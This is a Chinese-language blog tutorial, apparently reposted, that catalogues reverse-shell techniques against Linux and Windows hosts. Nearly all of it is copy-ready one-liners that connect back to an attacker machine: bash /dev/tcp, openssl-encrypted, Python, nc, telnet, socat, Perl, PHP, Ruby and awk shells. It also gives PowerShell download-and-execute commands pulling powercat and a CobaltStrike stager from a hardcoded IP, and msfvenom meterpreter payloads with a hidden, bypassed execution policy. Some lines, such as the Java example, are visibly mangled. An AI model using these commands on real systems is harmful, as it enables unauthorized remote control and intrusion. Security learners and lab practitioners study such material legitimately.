Linux/Windows反弹shell

Posted 王小帥

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux/Windows反弹shell相关的知识,希望对你有一定的参考价值。

目录食用

Linux反弹shell

bash反弹

加密bash反弹shell的流量

Python反弹 

nc反弹

Telnet反弹

socat反弹

其他命令反弹

Windows反弹shell 

Powershell反弹nc shell

使用MSF反弹shell


Linux反弹shell

攻击机:192.168.41.142

靶机:192.168.41.138

bash反弹

Linux 反弹 shell 使用下面这条命令,该命令弹回来的shell是不可交互的,也就是比如 vim、passwd 命令不能用。

先在攻击机开启监听:nc -lvp 4444

然后在靶机反弹:bash -i >& /dev/tcp/192.168.41.142/4444 0>&1

命令原理:bash -i 是打开一个交互式的bash终端。/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。所以,不难理解,/dev/tcp/192.168.41.142/4444   这条命令是意思就是和192.168.41.142主机的4444端口建立一个socket连接。通过查阅资料,发现  >& 和 &> 两者一个意思,都是将标准错误输出合并到标准输出中。加入 0>&1 的话,就可以接受用户的输入了, 0>&1  和   0<&1  也是一个意思。

bash -i >& /dev/tcp/192.168.41.142/4444 0>&1 
bash -i >& /dev/tcp/192.168.41.142/4444 0<&1 
bash -i $> /dev/tcp/192.168.41.142/4444 0>$1 
bash -i $> /dev/tcp/192.168.41.142/4444 0<&1 

攻击机:

ps查看进程,kill进程,杀死连接。 

靶机:

注:使用什么样的用户反弹的 shell,还是当前用户的权限。 

如果目标主机有python环境,我们在用netcat获得了反弹的shell后,可以执行下面的命令,才获得一个正常的shell (可以进行交互的shell) ,可以执行 passwd 命令 ,但是 vim命令还是用不了。

python -c 'import pty;pty.spawn("/bin/bash")'

加密bash反弹shell的流量

第一步,在vps上生成SSL证书的公钥/私钥对,执行以下命令,一路回车即可。

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

 

第二步,在VPS监听反弹shell。

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

第三步,在目标上用openssl加密反弹shell的流量

mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.41.142:4444 > /tmp/s;rm /tmp/s

 靶机:

 攻击机:

Python反弹 

使用下面这条命令弹回来的shell也是不可交互的shell,即 vim 和 passwd 等命令用不了。

#利用python反弹一个bash类型的shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

攻击机:

注:只有拥有 /bin/bash 的用户,才能使用该命令,如apache等web用户,无法使用该命令(以下是使用菜刀连接的webshell,获取到的 shell 是 apache 的shell) 

以上加上-n参数就可以不产生这个警告了,-n参数代表在建立连接之前不对主机进行dns解析,如下:

nc -nlvp 4444

参数讲解:

-n参数代表在建立连接之前不对主机进行dns解析
-l 监听 -v 显示详细信息  -p 指定端口 

nc反弹

目标主机需要有nc工具。

攻击机监听:nc -lvp 4444

目标主机反弹:nc -e /bin/sh 192.168.41.142 4444

Telnet反弹

我们需要在控制端开启两个监听端口,一个负责输入命令,一个负责接收命令的返回结果。

攻击机:
nc -nvlp 1111		#输入命令
nc -nvlp 2222		#输出命令
目标主机:
telnet 192.168.41.142 1111| /bin/bash | telnet 192.168.41.142 2222

注意:这里靶机:192.168.41.141

  

1111输入命令。 

   

2222接收命令。 

   

socat反弹

(目标机需安装socat,是一个两个独立数据通道之间的双向数据传输的继电器,是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。) 

攻击机:nc -nvlp 4444
目标主机:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.41.142:4444

  

其他命令反弹

Perl:
perl -e 'use Socket;$i="192.168.41.142";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
php:
php -r '$sock=fsockopen("192.168.41.142",4444);exec("/bin/sh -i <&3>&3 2>&3");'
 
Ruby:
ruby -rsocket -e'f=TCPSocket.open("192.168.41.142",4444).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
 
Java:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.41.142/4444;cat <&5 2="" |="" while="" read="" line;="" do="" \\$line="">&5 >&5; done"] as String[]) p.waitFor()

exec:(phph的命令执行函数)
0<&196;exec 196<>/dev/tcp/192.168.41.142/4444; sh <&196 >&196 2>&196

awk反弹(Linux下的样式扫描与处理工具):
awk 'BEGIN{s="/inet/tcp/0/192.168.41.142/6666";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

查看攻击机可以接收的反弹shell的形式:

whereis nc bash python php exec lua perl ruby

Windows反弹shell 

攻击机:192.168.41.142

靶机:192.168.41.129

Powershell反弹nc shell

攻击机:nc -nlvp 4444

目标主机:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.41.142 -p 4444 -e cmd
 
powershell -nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.41.142  -p 4444 -e cmd.exe"

cmd窗口下利用Powershell反弹CobaltStrike shell
windows10经常性不能用。windows 2008R2以下百分百适用。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://114.118.80.138:8080/a'))"   #后台运行
 
powershell.exe  -c "IEX ((new-object net.webclient).downloadstring('http://114.118.80.138:8080/a'))"   

使用MSF反弹shell

方法一:

在vps服务器上:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=vps's ip lport=4444 -f psh-reflection >4444.ps1        #生成木马文件 4444.ps1
 
python -m SimpleHTTPServer 80  #开启web服务
 
#MSF监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost vps's ip
set lport 4444
exploit -j

靶机:

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://vps's ip/4444.ps1');xx.ps1"  #后台运行
或者
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://vps's ip/4444.ps1');xx.ps1"

  

方法二:

  

攻击机:
msfvenom -l payloads | grep 'cmd/windows/reverse'    #使用 msfvenom -l 结合关键字过滤(如cmd/windows/reverse)
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.41.142 LPORT=4444    #使用msfvenom生成一个powershell类型的木马。

#开启监听
use exploit/multi/handler
show options
set LHOST 192.168.41.142
show options
run

靶机:
#目标机在cmd下执行生成的powershell脚本

参考链接:https://blog.csdn.net/weixin_44288604/article/details/111740527

参考文章

 

以上是关于Linux/Windows反弹shell的主要内容,如果未能解决你的问题,请参考以下文章

Windows正向绑定shell和反向反弹shell的Python代码

Windows反弹shell方法总结

mshta 反弹shell

【安全记录】反弹shell小记

反弹shell小结

反弹shell学习总结